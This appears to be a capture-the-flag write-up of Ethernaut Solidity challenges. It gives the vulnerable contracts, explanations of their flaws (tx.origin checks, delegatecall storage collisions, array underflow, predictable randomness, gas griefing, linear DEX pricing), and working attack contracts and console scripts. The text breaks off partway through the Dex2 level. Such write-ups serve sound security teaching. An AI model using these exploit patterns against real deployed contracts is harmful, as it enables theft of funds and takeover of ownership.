0%

Ethernaut Challenges

Ethernaut Challenges

Fallback

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

Here, we transfer money to it, trigger the receive of the target contract, set the owner to ourselves, and then call the withdraw function; here we can use its contribute function to transfer money directly. In solidity, the function used to transfer money is as follows:

method example Gas limitations ret val catch failure recommend to use it ?
.transfer(amount) payableAddr.transfer(1 ether); fixed 2300 gas N/A auto revert
.send(amount) bool ok = payableAddr.send(1 ether); fixed 2300 gas bool need require(ok)
.call{value: amount}("") (bool ok, ) = payableAddr.call{value: 1 ether}(""); require(ok); By default, all remaining gas can be transferred (can be specified manually) (bool success, bytes data) need check success

Fal1out

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
using SafeMath for uint256;

mapping(address => uint256) allocations;
address payable public owner;

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}

The constructor name is wrong, causing it to be treated as a normal function by the compiler. The owner can be set to yourself by calling it directly.

CoinFlip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

This is because block.number is actually predictable.

The attack script is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pragma solidity ^0.8.0;

abstract contract CoinFlip {
function flip(bool _guess) virtual public returns (bool);
}

contract Attack {
CoinFlip coinFlip = CoinFlip(0x63AF8FDEeb040B20dcdA1D5B8C8564Ad1112f88a);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function exploit() public returns(bool) {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 flip = blockValue / FACTOR;
bool side = flip == 1 ? true : false;
return coinFlip.flip(side);
}
}

Then deploy the contract to the test chain.

Then call it from the console.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
async function exploitSimple(times) {
for(let i = 0; i < times; i++) {
try {
const tx = await attackContract.exploit({ gasLimit: 300000 });
console.log(`Call ${i+1} sent:`, tx.hash);
await tx.wait();
console.log(`Call ${i+1} confirmed`);
// Wait 1.5 seconds for a new block to be generated to prevent blockhash duplication
await new Promise(r => setTimeout(r, 1500));
} catch(e) {
console.error(`Call ${i+1} failed:`, e);
break;
}
}
}

exploitSimple(10);

Telephone

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

It should be noted here that the caller of the intermediate process will be ignored, so this vulnerability can be used for indirect attack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pragma solidity ^0.8.0;

abstract contract Telephone{
function changeOwner(address _owner) virtual public;
}

contract Attack{
//0xf30928a61F2cd6D39A1C9577c70e1C44395Bcb0c
Telephone telephone = Telephone(0xf30928a61F2cd6D39A1C9577c70e1C44395Bcb0c);

function exploit() public {
telephone.changeOwner(0xEOA_ADDR);
}
}

Token

uint integer overflow vulnerability, will basically no longer exist after 0.8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}

Delegation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

The delegate call vulnerability here is msg.data. You can change it to a function signature or function selector.

Then call the pwn function to change owner.

Force

How to transfer funds when the contract does not have receive and fallback? Use the selfdestruct function

Vault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

These variables are publicly available on-chain. Private variables can be accessed by getStorageAt(slot) on-chain. To protect data, encryption or off-chain storage is required.

On-chain == public

King

destination

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

Here, we want to refuse subsequent transactions after obtaining the owner. The attack contract is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IKing {
function _king() external view returns (address);
}

contract KingAttack {
address payable public king;

constructor() {
king = payable(0xC81297Dc635a59D16e60a518c7F27f56B0def02a);
}

function exploit() external payable {
(bool ok, ) = king.call{value: msg.value}("");
require(ok, "bid failed");
require(IKing(king)._king() == address(this), "not king");
}

receive() external payable {
revert("I refuse to step down");
}
}

Reentrancy

This issue primarily arises when balances are not checked and updated beforehand during transactions/transactions.

The call function transfers control to the target contract. If the target contract then calls withdraw one or more times within its receive or fallback function after accepting the transfer, a reentrancy attack can occur.

We can check and update the balance beforehand by adding state variables to the target address, as detailed previously.

Elevator

The following contract calls isLastFloor twice. We need to return false the first time and true the second time.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

attack contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/Elevator.sol";

contract Attack is Building {
Elevator public target;
bool private toggle;

constructor(address _target) {
target = Elevator(_target);
}

function isLastFloor(uint256) external override returns (bool) {
toggle = !toggle;
return toggle;
}

function attack(uint256 floor) external {
target.goTo(floor);
}
}

Here, we want to return false the first time and true the second time. There are many ways to do this.

  1. toggle = !toggle
  2. toggle ++; toggle = toggle % 2;
  3. toggle = toggle & true;
  4. Directly store a set of false and true values in an array/mapping.
  5. Alternatively, set a counter to return false the first time and true thereafter.

Privacy

Target Contract

The key is to understand Solidity’s slot storage rules

https://medium.com/@dariusdev/how-to-read-ethereum-contract-storage-44252c8af925

This article also works.

Note that variables declared as constants and immutables are not stored in slots.

Then use getStorageAt to read the corresponding slot and then call await contract.unlock(‘0xdata’); in the console.

Then bytes16 retrieves the first 16 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

GateKeeper1_and_2

GateKeeper1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

Here, gateOne requires an indirect call. tx.origin is our EOA address, and msg.sender is our attack contract address.

gateTwo is used to exhaustively enumerate the gas required to meet the requirements; gateThree is constructed based on the requirements. bytes8 == uint64

uint16 is used to extract the first two bytes.

The attack contract is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}

contract Attack {
IGatekeeperOne public target;

constructor(address _target) {
target = IGatekeeperOne(_target);
}

// Construct a key that matches gateThree:
// The lower 32 bits == the lower 16 bits (i.e., 0x0000 + the lower 16 bits of origin), and the whole 64 bits != the lower 32 bits (the upper 32 bits are non-zero).
function buildKey() public view returns (bytes8 key) {
uint16 low16 = uint16(uint160(tx.origin));
uint64 low32 = uint64(low16);
uint64 hi32 = 1;
key = bytes8((uint64(hi32) << 32) | low32); // such as 0x00000001_0000ZZZZ
}

// Find gas such that gasleft()%8191==0
function exploit() external {
bytes8 key = buildKey();

// Give a larger base and try it for 0..8191
for (uint256 i = 0; i < 8191; i++) {
// 注意:这里用 .call 手工指定 gas
(bool ok, ) = address(target).call{gas: 200000 + i}(
abi.encodeWithSignature("enter(bytes8)", key)
);
if (ok) {
// pass gateTwo + gateThree + gateOne
break;
}
}
}
}

GateKeeper2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

The first one is the same here, so we’ll skip it.

gateTwo requires our attack contract code to have a size of 0. Here, we need to perform the attack in the contract’s constructor. Since the bytecode hasn’t been written to the chain yet, its size is 0.

gateThree is a simple XOR operation, so there’s nothing much to say.

The attack contract is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IGatekeeper {
function enter(bytes8 _gateKey) external returns (bool);
}

contract Attack2 {
constructor(address _target) {
// Called in the constructor, extcodesize(this) == 0 ⇒ Passes gateTwo
// At this point, msg.sender is the contract address ⇒ Use address(this) to calculate the key
uint64 h = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
bytes8 key = bytes8(~h); // 等价于 bytes8(type(uint64).max ^ h)

IGatekeeper(_target).enter(key);
}
}

Here, the second question only needs to be deployed, and no additional console or script calls are required.

NaughtCoin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

This is primarily due to the fact that in ERC20, not only “Transfer” can transfer funds, but “TransferFrom” can also be used. Furthermore, the contract does not impose any restrictions on the “TransferFrom” function, allowing the timestamp check to be bypassed.

attack contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20 {
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}

contract NaughtDrain {
function drain(address token, address from, address to) external {
uint256 amt = IERC20(token).balanceOf(from); // 如果没有balanceOf接口,就把额度写死传参
IERC20(token).transferFrom(from, to, amt);
}
}

Here we also lock TransferFrom to prevent

Preservation

https://rareskills.io/post/delegatecall
One point worth mentioning here is the relationship between delegatecall and storage(slot). It modifies the data in slot 0 (according to the effect of the called function).

So, here, we can set the address of our attack contract to slot 0.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;

function setTime(uint256 _time) public {
storedTime = _time;
}
}

攻击合约为

1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Attack{
address public timeZone1Library; // slot0,20 bytes
address public timeZone2Library; // slot1
address public owner;

function setTime(uint256 _time) public{
// Note that the signatures need to be consistent. Since we only need the first three slots (up to the owner), the rest are not important.
owner = tx.origin;
}
}

写成这样可避免此类攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

library TimeLib {
function normalize(uint256 t) internal pure returns (uint256) {
// do some check
return t;
}
}

contract PreservationSafeA {
address public immutable owner;
uint256 public storedTime;

constructor() {
owner = msg.sender;
}

function setFirstTime(uint256 t) external {
storedTime = TimeLib.normalize(t);
}

function setSecondTime(uint256 t) external {
storedTime = TimeLib.normalize(t);
}
}

Recovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}

contract SimpleToken {
string public name;
mapping(address => uint256) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}

// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

The etherscan tutorial, use the instance address to check the address to which the transfer was made. Convert it to a contract and call the destroy function.

Or manually calculate the simpleToken contract address.

First, the nonce of the first new contract initiated by an external account is 1.

1
2
const RECOVERY = "<你的 Recovery instance地址>";
await _ethers.utils.getContractAddress({ from: RECOVERY, nonce: 1 });

MagicNumber

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicNum {
address public solver;

constructor() {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

Here you need to write a contract that returns 42 using less than 10 commands. Here you can use EVM Bytecode to write it manually.

1
2
3
4
5
6
7
8
9
10
11
12
13
60 2a // PUSH1 0x2a; Push constant 42
60 00 // PUSH1 0x00; Target memory location (slot 0)
52 // MSTORE; [0..32) writes 32 bytes, placing 42 in the low order
60 20 // PUSH1 0x20; Returns length 32
60 00 // PUSH1 0x00; Returns starting memory location 0
f3 // RETURN; Returns [0, 32); Valid for any function selector

60 0a // PUSH1 0x0a; Runtime length 10 bytes
60 0c // PUSH1 0x0c; Runtime offset in this code (immediately following the creation section)
60 00 // PUSH1 0x00; Copy to memory start position 0
39 // CODECOPY; mem[0..10) = code[0x0c .. 0x0c+0x0a)
60 00 // PUSH1 0x00; RETURN start
f3 // RETURN; Return the 10 bytes just copied => becomes the "contract code" after deployment

AlienCodeX

There are a few points to understand here.

  1. Solidity’s storage is a ring modulo 2^256.
  2. Dynamic arrays such as uint256[], bytes32[]; bytes, string; Mapping; Struct; and uint256[3], all types of data do not directly store the content and length/index in the same slot; they are all stored separately.
  3. Taking an array as an example, based on the slot where the array length is located, call keccak256(abi.encode(uint256(slot))) to calculate the address of the first element of the array, and then add i to traverse the array.

The contract code is as follows

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function makeContact() public {
contact = true;
}

function record(bytes32 _content) public contacted {
codex.push(_content);
}

function retract() public contacted {
codex.length--;
}

function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}

As can be seen above, the array’s slot is 1, while Solidity’s storage size is 2^256. type(uint256).max = 2^256 - 1. Therefore, to trigger integer underflow and set the owner stored in slot 0 to our EOA address, i must satisfy i + array.base(calculated by keecak256) == type(uint256).max + 1.

Here, the 1-byte bool and the 20-byte address(owner) are packed into one slot (slot0), so the slot storing our array length is 1.

attack contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;

interface IAlienCodex {
function makeContact() external;
function retract() external;
function revise(uint256 i, bytes32 content) external;
}

contract Attack{
IAlienCodex public target;

constructor(address _target) public {
target = IAlienCodex(_target);
}
function attack() external {
target.makeContact();
target.retract();
uint256 base = uint256(keccak256(abi.encode(uint256(1))));
uint256 i = type(uint256).max - base + 1;
bytes32 content = bytes32(uint256(uint160(tx.origin)));
target.revise(i, content);//address 20 bytes
}
}

Denial

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");//There is no specified amount of gas to be consumed here, so almost all the gas will be released at once, leaving (1/64)
payable(owner).transfer(amountToSend);// Here the transfer function consumes a fixed amount of 2300 gas
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}

The main issue here is gas. In partner.call{} , the gas consumption is not specified, so the entire 63/64 gas allocation is sent out at once. If an attacker consumes this amount in the attacking contract, subsequent operations will be difficult to complete.

To prevent partner setup failure, we need to call the setup function and withdraw separately, then set up fallback and receive functions. Using an infinite loop, we can continuously consume gas, consuming the 63/64 gas allocated, preventing the attacker from completing the subsequent transfer operation (fixed gas consumption of 2300).

attack contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IDenial {
function setWithdrawPartner(address _partner) external;
function withdraw() external;
}

contract Attack {
IDenial public target;

constructor(address _target) {
target = IDenial(_target);
}

function becomePartner() external {
target.setWithdrawPartner(address(this));
}

function pokeWithdraw() external {
target.withdraw();
}

fallback() external payable { burnGas(); }
receive() external payable { burnGas(); }

function burnGas() internal pure {
while (true) {}
}
}

Shop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IBuyer {
function price() external view returns (uint256);
}

contract Shop {
uint256 public price = 100;
bool public isSold;

function buy() public {
IBuyer _buyer = IBuyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

The fundamental problem here is that the price function is called twice, modifying a critical state variable—isSold—in between calls.

So, we can exploit the difference in the value of this state variable in the attack contract to achieve different return values for the two function calls, thereby completing an attack and completing a purchase at a lower price than the target price.

The attack contract is as follows

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IBuyer {
function price() external view returns (uint256);
}

interface IShop {
function buy() external;
function isSold() external view returns (bool);
}

contract Attack is IBuyer {
function attack(address shop) external {
IShop(shop).buy();
}

function price() external view override returns (uint256) {
return IShop(msg.sender).isSold() ? 0 : 100;
}
}

Dex

The two Fig. above illustrate UniSwap V2’s pricing calculation process (the EVM cannot represent decimals, so multiply by 1000).

Let’s look at the pricing calculation formula provided by this contract.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract Dex is Ownable {
address public token1;
address public token2;

constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint256 amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint256 amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
address private _dex;

constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

As you can see, the calculation is based on a percentage, with no tax rate or validation.

Typically, the pricing formula is as shown in the diagram above, or a require is used for validation later.

1
2
3
4
// 伪码
amountInWithFee = amountIn * 997;
amountOut = amountInWithFee * R_out / (R_in*1000 + amountInWithFee);
// 或: (balanceIn*1000 - in*3) * (balanceOut*1000) >= reserveIn*reserveOut*1000^2

所以这里攻击步骤是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

let token1 = await contract.token1();// getter function
let token2 = await contract.token2();

await contract.approve(instance, 1000);

await contract.swap(token1, token2, 10);// this is all calculated by formula
await contract.swap(token2, token1, 20);//
await contract.swap(token1, token2, 24);
await contract.swap(token2, token1, 30);
await contract.swap(token1, token2, 41);

// swap with 45 token2 because 65 * 110 / 45 = 158 > 110 and 46 * 110 / 45 = 110
await contract.swap(token2, token1, 45);

// should return 0
(await contract.balanceOf(token1, instance)).toString();

Dex2

Compared to the previous level, the check for the from and to addresses in the swap function has been removed. That is, the contract can now exchange tokens with any contract, and the pricing formula is still linear, so you can use your own minted third-party tokens to extract token1 and token2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract DexTwo is Ownable {
address public token1;
address public token2;

constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function add_liquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint256 amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
